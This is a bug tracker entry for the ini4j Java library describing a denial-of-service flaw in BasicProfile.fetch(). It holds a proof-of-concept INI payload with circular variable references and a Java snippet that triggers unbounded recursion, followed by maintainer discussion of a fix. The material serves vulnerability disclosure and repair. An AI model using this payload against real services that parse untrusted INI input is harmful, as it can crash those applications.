# [ini4j] Bugs

**Brought to you by: szkiba**

## #56 The package org.ini4j before 0.5.4 are vulnerable to get value via the fetch() method in BasicProfile class, which may lead to DoS attacks.

**Milestone:** v1.0 (example) **Status:** open **Owner:** Ivan SZKIBA **Labels:** bug (1)
**Priority:** 9
**Updated:** 2022-11-18 **Created:** 2022-09-20 **Creator:** bingdian **Private:** No

Test logic usable to reproduce the behaviour
payload:
----payload.ini

```
[dopey]
 weight = ${bashful/weight}
 height = ${doc/height}

[bashful]
 weight = ${dopey/weight}
 height = ${dopey/height}

 [doc]
 weight = 49.5
 height = 87.7
```

----java poc

```
        Ini ini = new Ini();
        ini.load(new FileReader(new File("/Users/bingdian/IdeaProjects/soot/src/main/java/te
        );
        ini.get("dopey").fetch("weight");
```

**1 Attachments**

1663640415101.jpg

### Discussion

Salvatore Bonaccorso - *2022-10-12*

@szkiba, @bingdian: the description mentions that the issue is present before version 0.5.4. Can you elaborate where the issue was fixed landing in that version?

Bogdan - *2022-10-31*

**Post awaiting moderation.**

Marc Lafon - *2022-11-02*

I have taken a quick look to the source code, the problem seem to come from the recursive calls from the BasicProfileSection.fetch and BasicProfile.resolve methods... recursive loop is still present in version 0.54, without any limitation.

paradox - *2022-11-18*

https://github.com/Paradox98/ini4j
I tried to limit the number of recursions.
Can this modification solve the above problem?

Last edit: paradox 2022-11-18

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